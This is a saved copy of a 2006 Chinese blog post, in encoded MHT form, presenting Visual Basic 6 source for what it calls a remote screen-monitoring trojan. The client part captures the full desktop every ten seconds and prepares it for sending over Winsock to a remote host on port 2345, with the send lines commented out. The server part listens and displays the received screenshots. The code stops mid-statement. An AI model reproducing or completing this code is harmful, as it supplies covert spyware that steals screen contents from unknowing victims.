📄 用vb打造远程屏幕监控.mht
字号:
}
.recmtBody {
BORDER-RIGHT: #cdcdcd 1px solid; PADDING-RIGHT: 3px; =
BACKGROUND-POSITION: right top; BORDER-TOP: #cdcdcd 1px solid; =
PADDING-LEFT: 3px; BACKGROUND-IMAGE: =
url(http://www.blogbus.com/blogbus/blog/images/templates/neo_default/line=
_vb.gif); PADDING-BOTTOM: 3px; MARGIN: 5px 5px 3px 0px; BORDER-LEFT: =
#cdcdcd 1px solid; PADDING-TOP: 3px; BORDER-BOTTOM: #cdcdcd 1px solid; =
BACKGROUND-REPEAT: repeat-y
}
.date {
FONT-WEIGHT: bolder; FONT-SIZE: 20px; MARGIN-BOTTOM: 7px; FONT-FAMILY: =
"Times New Roman", Times, serif
}
</STYLE>
<SCRIPT =
language=3DJavaScript>if(self!=3Dtop){top.location=3Dself.location;}</SCR=
IPT>
<SCRIPT language=3Djavascript type=3Dtext/javascript>
function OpenComments (c) {
window.open(c,
'comments',
=
'width=3D480,height=3D480,scrollbars=3Dyes,status=3Dyes');
}
function OpenTrackback (c) {
window.open(c,
'trackback',
=
'width=3D480,height=3D480,scrollbars=3Dyes,status=3Dyes');
}
</SCRIPT>
<META content=3D"MSHTML 6.00.5700.6" name=3DGENERATOR></HEAD>
<BODY oncontextmenu=3D"return false" onselectstart=3D"return false"=20
onselect=3D"return false">
<TABLE cellSpacing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
<TBODY>
<TR>
<TD id=3Dheader>
<DIV style=3D"PADDING-LEFT: 15px">
<TABLE cellSpacing=3D0 cellPadding=3D0 border=3D0>
<TBODY>
<TR>
<TD vAlign=3Dtop align=3Dleft><A =
href=3D"http://int.blogbus.com/">
<DIV =
id=3DblogName>=E8=87=AA=E7=94=B1=E6=90=8F=E5=AE=A2 </DIV></A><=
/TD>
<TD id=3DblogDescription vAlign=3Dbottom=20
=
align=3Dleft>=E4=B8=80=E4=B8=AA=E8=BD=BB=E6=9D=BE=E3=80=81=E8=87=AA=E7=94=
=B1=E7=9A=84=E7=BD=91=E7=BB=9C=E8=AE=B0=E4=BA=8B=E6=9C=AC=EF=BC=81=E6=91=98=
=E7=82=B9=E3=80=81=E8=AE=B0=E7=82=B9=EF=BC=8C=E4=BB=85=E6=AD=A4=E8=80=8C=E5=
=B7=B2~=EF=BC=88blog.chinaE.org=EF=BC=89</TD></TR></TBODY></TABLE></DIV><=
/TD></TR>
<TR>
<TD id=3DmainContainer vAlign=3Dtop align=3Dleft width=3D"100%">
<DIV class=3DcatTitle><A=20
=
href=3D"http://int.blogbus.com/logs/3200393.html"><< =E4=
=B8=8D=E9=80=89=E6=8B=A9=E7=AB=9E=E4=BB=B7=E6=8E=92=E5=90=8D=E7=9A=84=E5=85=
=AB=E5=A4=A7=E7=90=86=E7=94=B1</A>=20
| <A href=3D"http://int.blogbus.com/">=E9=A6=96 =E9=A1=B5</A> | <A =
=
href=3D"http://int.blogbus.com/logs/3221862.html">=E7=9C=8B=E6=B8=85=E6=89=
=8B=E4=B8=AD=E7=9A=84=E5=88=A9=E5=99=A8:=E4=BA=94=E5=A4=A7=E6=9D=80=E6=AF=
=92=E5=BC=95=E6=93=8E=E5=88=86=E6=9E=90 >></A><BR></DIV>=
<BR>
<TABLE cellSpacing=3D0 cellPadding=3D0 width=3D"85%" border=3D0>
<TBODY>
<TR>
<TD class=3DlogsSide vAlign=3Dtop align=3Dleft><IMG height=3D1 =
=
src=3D"http://www.blogbus.com/blogbus/blog/images/templates/neo_default/l=
ine_vb.gif"=20
width=3D3></TD>
<TD class=3DlogsMain vAlign=3Dtop align=3Dleft><IFRAME=20
=
src=3D"http://img.uiuni.com/ivr/code/20061019/html/4.html?uid=3D463&s=
id=3D"=20
frameBorder=3D0 width=3D580 scrolling=3Dno =
height=3D80></IFRAME>
<DIV class=3Ddate>2006-09-03</DIV>
<DIV class=3DlogsTitle><A=20
=
href=3D"http://int.blogbus.com/logs/3221853.html">=E7=94=A8VB=E6=89=93=E9=
=80=A0=E8=BF=9C=E7=A8=8B=E5=B1=8F=E5=B9=95=E7=9B=91=E6=8E=A7=E6=9C=A8=E9=A9=
=AC</A></DIV>TAG=EF=BC=9A<A=20
=
href=3D"http://int.blogbus.com/s40813/">=E7=A8=8B=E5=BA=8F=E8=AE=BE=E8=AE=
=A1</A> <BR><BR><SPAN=20
=
class=3Dtpc_content>=E5=AE=9A=E6=97=B6=E6=88=AA=E5=8F=96=E5=B1=8F=E5=B9=95=
=E5=9B=BE=E5=BD=A2,=E4=BD=9C=E4=B8=BA=E8=A2=AB=E6=8E=A7=E7=AB=AF<BR><BR>O=
ption Explicit<BR>Private=20
Type BITMAP<BR> bmType As Long<BR> =
bmWidth=20
As Long<BR> bmHeight As Long<BR> =20
bmWidthBytes As Long<BR> bmPlanes As =
Integer<BR> =20
bmBitsPixel As Integer<BR> bmBits As =
Long<BR>End=20
Type<BR>Private Declare Function GetObj Lib "gdi32" Alias=20
"GetObjectA" (ByVal hObject As Long, ByVal nCount As Long, =
lpObject=20
As Any) As Long<BR>Private Declare Function GetDesktopWindow =
Lib=20
"user32" () As Long<BR>Private Declare Function GetDC Lib =
"user32"=20
(ByVal hwnd As Long) As Long<BR>Private Declare Function =
ReleaseDC=20
Lib "user32" (ByVal hwnd As Long, ByVal hdc As Long) As=20
Long<BR>Private Declare Function BitBlt Lib "gdi32" (ByVal =
hDestDC=20
As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As =
Long,=20
ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As =
Long,=20
ByVal ySrc As Long, ByVal dwRop As Long) As Long<BR>Private =
Declare=20
Sub CopyMemory Lib "Kernel32" Alias "RtlMoveMemory" =
(Destination As=20
Any, Source As Any, ByVal Length As Long)<BR>Private Declare =
Function GetBitmapBits Lib "gdi32" (ByVal hBitmap As Long, =
ByVal=20
dwCount As Long, lpBits As Any) As Long<BR>Private Declare =
Function=20
SetBitmapBits Lib "gdi32" (ByVal hBitmap As Long, ByVal =
dwCount As=20
Long, lpBits As Any) As Long<BR>Private Declare Function=20
CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As Long, ByVal =
nWidth=20
As Long, ByVal nHeight As Long) As Long<BR>Private Declare =
Function=20
CreateCompatibleDC Lib "gdi32" (ByVal hdc As Long) As=20
Long<BR>Private Declare Function SelectObject Lib "gdi32" =
(ByVal hdc=20
As Long, ByVal hObject As Long) As Long<BR>Private Declare =
Function=20
DeleteDC Lib "gdi32" (ByVal hdc As Long) As Long<BR>Private =
Declare=20
Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As =
Long<BR>Private MyHdc1 As Long, MyBmp1 As Long, MyOldBmp1 As =
Long,=20
ScrW As Long, ScrH As Long<BR>Private StartT As =
Single<BR>Private=20
Sub Form_Load()<BR> Dim bm As BITMAP, BmpSize As=20
Long<BR> Timer1.Enabled =3D False =
'=E9=97=B4=E9=9A=94=E6=97=B6=E9=97=B4=E8=8E=B7=E5=8F=96=E5=9B=BE=E5=BD=A2=
<BR> =20
Me.ScaleMode =3D 3<BR> ScrW =3D Screen.Width \=20
Screen.TwipsPerPixelX<BR> ScrH =3D Screen.Height \=20
Screen.TwipsPerPixelY<BR> =20
=
'=E8=BF=99=E5=8F=AA=E6=98=AF=E6=96=B9=E4=BE=BF=E8=B0=83=E8=AF=95=E7=9A=84=
=E7=A4=BA=E4=BE=8B=EF=BC=8C=E5=AE=9E=E7=94=A8=E7=A8=8B=E5=BA=8F=E4=B8=AD=EF=
=BC=8C=E4=B8=8D=E7=94=A8=E4=B8=B4=E6=97=B6DC=EF=BC=8C=E5=8F=AF=E7=9B=B4=E6=
=8E=A5=E5=8F=96=E7=AA=97=E4=BD=93=E7=9A=84BMP=EF=BC=8C=E4=BC=9A=E5=BF=AB=E4=
=B8=80=E4=BA=9B<BR> MyHdc1 =3D=20
CreateCompatibleDC(FrmClient.hdc)<BR> MyBmp1 =3D=20
CreateCompatibleBitmap(FrmClient.hdc, ScrW, ScrH)<BR> =20
MyOldBmp1 =3D SelectObject(MyHdc1, MyBmp1)<BR> =20
=
'Ws2=E4=B8=BAWinSock=E6=8E=A7=E4=BB=B6=EF=BC=8C=E7=94=A8=E4=BA=8E=E5=8F=91=
=E9=80=81=E6=95=B0=E6=8D=AE <BR> 'Ws2.RemoteHost =3D=20
=
InputBox("=E8=AF=B7=E8=BE=93=E5=85=A5=E8=BF=9C=E7=A8=8B=E6=9C=8D=E5=8A=A1=
=E5=99=A8ip=E5=9C=B0=E5=9D=80", =
"=E8=BF=9C=E7=A8=8B=E7=9B=91=E6=8E=A7=E6=B5=8B=E8=AF=95", =
"127.0.0.1")<BR> =20
'Ws2.RemotePort =3D 2345<BR> 'Ws2.Connect<BR> =20
Timer1.Interval =3D 10000<BR> Timer1.Enabled =3D =
True<BR>End=20
Sub<BR>Private Sub Form_Unload(Cancel As Integer)<BR> =20
'Ws2.Close<BR> SelectObject MyHdc1, =
MyOldBmp1<BR> =20
DeleteObject MyBmp1<BR> DeleteDC MyHdc1<BR>End =
Sub<BR>Private=20
Sub Timer1_Timer()<BR> Dim i As Long, d As Long, b As =
Long, bm=20
As BITMAP, dat() As Byte, BmpSize As Long<BR> StartT =
=3D=20
Timer<BR> d =3D GetDesktopWindow<BR> i =3D=20
GetDC(d)<BR> BitBlt MyHdc1, 0, 0, ScrW, ScrH, i, 0, 0, =
vbSrcCopy<BR> ReleaseDC d, i<BR> GetObj MyBmp1, =
Len(bm),=20
bm<BR> BmpSize =3D bm.bmWidthBytes * =
bm.bmHeight<BR> ReDim=20
dat(BmpSize - 1)<BR> GetBitmapBits MyBmp1, BmpSize,=20
dat(0)<BR> ReDim Preserve dat(BmpSize + 1)<BR> =20
dat(BmpSize) =3D 13<BR> dat(BmpSize + 1) =3D =
10<BR> 'StartT=20
=3D Timer<BR> 'Ws2.SendData dat<BR> Debug.Print =
dat =20
=
'dat=E4=B8=BA=E8=8E=B7=E5=8F=96=E5=88=B0=E7=9A=84=E5=B1=8F=E5=B9=95=E5=9B=
=BE=E5=BD=A2=E6=95=B0=E6=8D=AE<BR>End Sub<BR>Private Sub=20
Ws2_Close()<BR> StatusBar1.SimpleText =3D =
Ws2.RemoteHost & "=20
Disconnected.."<BR> Ws2.Close<BR>End Sub<BR>Private =
Sub=20
Ws2_Connect()<BR> StatusBar1.SimpleText =3D =
Ws2.RemoteHost &=20
" Connected.."<BR>End Sub<BR>Private Sub Ws2_Error(ByVal =
Number As=20
Integer, Description As String, ByVal Scode As Long, ByVal =
Source As=20
String, ByVal HelpFile As String, ByVal HelpContext As Long, =
CancelDisplay As Boolean)<BR> On Error Resume =
Next<BR> =20
StatusBar1.SimpleText =3D Ws2.RemoteHost & " Error : " =
&=20
Description<BR> Ws2.Close<BR>End=20
=
Sub<BR><BR><BR>'=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D<BR>'=E9=A1=B9=E7=9B=AE=
=E5=90=8D=E7=A7=B0:=20
Server =
(=E8=BF=9C=E7=A8=8B=E5=B1=8F=E5=B9=95=E7=9B=91=E6=8E=A7=E7=AB=AF)<BR>'=E7=
=AA=97=E5=8F=A3=E5=90=8D=E7=A7=B0=EF=BC=9A =20
=
FrmServer<BR>'WinSock=E6=8E=A7=E4=BB=B6=EF=BC=9AWs1<BR>'StatusBar=E6=8E=A7=
=E4=BB=B6:StatusBar1=20
(=E6=B3=A8=E6=84=8F=EF=BC=9AStatusBar1.Style =3D=20
=
sbrSimple)<BR>'=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D<BR><BR><BR>Option=20
Explicit<BR>Private Type BITMAP<BR> bmType As=20
Long<BR> bmWidth As Long<BR> =
bmHeight As=20
Long<BR> bmWidthBytes As Long<BR> =
bmPlanes=20
As Integer<BR> bmBitsPixel As Integer<BR> =
=20
bmBits As Long<BR>End Type<BR>Private Declare Function =
GetObj Lib=20
"gdi32" Alias "GetObjectA" (ByVal hObject As Long, ByVal =
nCount As=20
Long, lpObject As Any) As Long<BR>Private Declare Function=20
GetDesktopWindow Lib "user32" () As Long<BR>Private Declare =
Function=20
GetDC Lib "user32" (ByVal hwnd As Long) As Long<BR>Private =
Declare=20
Function ReleaseDC Lib "user32" (ByVal hwnd As Long, ByVal =
hdc As=20
Long) As Long<BR>Private Declare Function BitBlt Lib "gdi32" =
(ByVal=20
hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal =
nWidth As=20
Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal =
xSrc As=20
Long, ByVal ySrc As Long, ByVal dwRop As Long) As =
Long<BR>Private=20
Declare Sub CopyMemory Lib "Kernel32" Alias "RtlMoveMemory"=20
(Destination As Any, Source As Any, ByVal Length As =
Long)<BR>Private=20
Declare Function GetBitmapBits Lib "gdi32" (ByVal hBitmap As =
Long,=20
ByVal dwCount As Long, lpBits As Any) As Long<BR>Private =
Declare=20
Function SetBitmapBits Lib "gdi32" (ByVal hBitmap As Long, =
ByVal=20
dwCount As Long, lpBits As Any) As Long<BR>Private Declare =
Function=20
CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As Long, ByVal =
nWidth=20
As Long, ByVal nHeight As Long) As Long<BR>Private Declare =
Function=20
CreateCompatibleDC Lib "gdi32" (ByVal hdc As Long) As=20
Long<BR>Private Declare Function SelectObject Lib "gdi32" =
(ByVal hdc=20
As Long, ByVal hObject As Long) As Long<BR>Private Declare =
Function=20
DeleteDC Lib "gdi32" (ByVal hdc As Long) As Long<BR>Private =
Declare=20
Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As =
Long<BR>Private ScrW As Long, ScrH As Long<BR>Private MyHdc =
As Long,=20
MyBmp As Long, MyOldBmp As Long, BmpDat() As Byte, RevByte =
As=20
Long<BR>Private StartT As Single<BR>Private Sub=20
Form_Load()<BR> Dim bm As BITMAP, BmpSize As =
Long<BR> =20
<BR> On Error GoTo ErrLoad<BR> <BR> =
Me.ScaleMode =3D=20
3<BR> ScrW =3D Screen.Width \ =
Screen.TwipsPerPixelX<BR> =20
ScrH =3D Screen.Height \ Screen.TwipsPerPixelY<BR> =20
=
'=E8=BF=99=E5=8F=AA=E6=98=AF=E6=96=B9=E4=BE=BF=E8=B0=83=E8=AF=95=E7=9A=84=
=E7=A4=BA=E4=BE=8B=EF=BC=8C=E5=AE=9E=E7=94=A8=E7=A8=8B=E5=BA=8F=E4=B8=AD=EF=
=BC=8C=E4=B8=8D=E7=94=A8=E4=B8=B4=E6=97=B6DC=EF=BC=8C=E5=8F=AF=E7=9B=B4=E6=
=8E=A5=E5=8F=96=E7=AA=97=E4=BD=93=E7=9A=84BMP=EF=BC=8C=E4=BC=9A=E5=BF=AB=E4=
=B8=80=E4=BA=9B<BR> MyHdc =3D=20
CreateCompatibleDC(FrmServer.hdc)<BR> MyBmp =3D=20
CreateCompatibleBitmap(FrmServer.hdc, ScrW, ScrH)<BR> =
MyOldBmp=20
=3D SelectObject(MyHdc, MyBmp)<BR> <BR> =
GetObj=20
MyBmp, Len(bm), bm<BR> BmpSize =3D bm.bmWidthBytes *=20
bm.bmHeight<BR> ReDim BmpDat(BmpSize - 1)<BR> =20
GetBitmapBits MyBmp, BmpSize, BmpDat(0)<BR> =
WS1.LocalPort =3D=20
2345<BR> WS1.Listen<BR> <BR> Exit =
Sub<BR> =20
<BR>ErrLoad:<BR> MsgBox Error<BR>End Sub<BR>Sub=20
getscreen()<BR>End Sub<BR>Private Sub Form_Unload(Cancel As=20
Integer)<BR> On Error Resume Next<BR> =20
WS1.Close<BR> SelectObject MyHdc, MyOldBmp<BR> =20
DeleteObject MyBmp<BR> DeleteDC MyHdc<BR>End =
Sub<BR>Private=20
Sub WS1_Close()<BR> StatusBar1.SimpleText =3D =
WS1.RemoteHostIP=20
& " Disconnected.."<BR> WS1.Close<BR> If =
WS1.State =3D=20
sckListening Then<BR> WS1.Close<BR> =20
Else<BR> WS1.LocalPort =3D 2345<BR> =
=20
WS1.Listen<BR> End If<BR>End Sub<BR>Private Sub=20
Ws1_ConnectionRequest(ByVal requestID As Long)<BR> If=20
WS1.State <> sckClosed Then WS1.Close<BR> =20
StatusBar1.SimpleText =3D WS1.RemoteHostIP & "=20
Connecting.."<BR> WS1.Accept requestID<BR> If =
WS1.State=20
=3D 7 Then StatusBar1.SimpleText =3D WS1.RemoteHostIP & =
"=20
Connected.."<BR>End Sub<BR>Private Sub Ws1_DataArrival(ByVal =
bytesTotal As Long)<BR> Dim dat() As Byte, i As Long, =
nTime As=20
Long<BR> <BR> On Error Resume Next<BR> =
<BR> =20
WS1.GetData dat, vbArray Or vbByte<BR> i =3D InStrB(1, =
dat,=20
ChrB(13) & ChrB(10))<BR> If i > 0 =
Then<BR> =20
'StartT =3D Timer<BR> If i > 1 Then =
CopyMemory=20
BmpDat(RevByte), dat(0), i - 1<BR> =
SetBitmapBits MyBmp,=20
UBound(BmpDat) + 1, BmpDat(0)<BR> RevByte =3D =
0<BR> =20
=
'=E5=AE=9E=E7=94=A8=E7=A8=8B=E5=BA=8F=E4=B8=AD=EF=BC=8C=E4=B8=8D=E7=94=A8=
=E4=B8=B4=E6=97=B6DC=EF=BC=8C=E4=B8=8B=E9=9D=A2=E4=B8=80=E6=AD=A5=E5=8F=AF=
=E7=9C=81<BR> BitBlt Me.hdc, 0, 0,=20
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -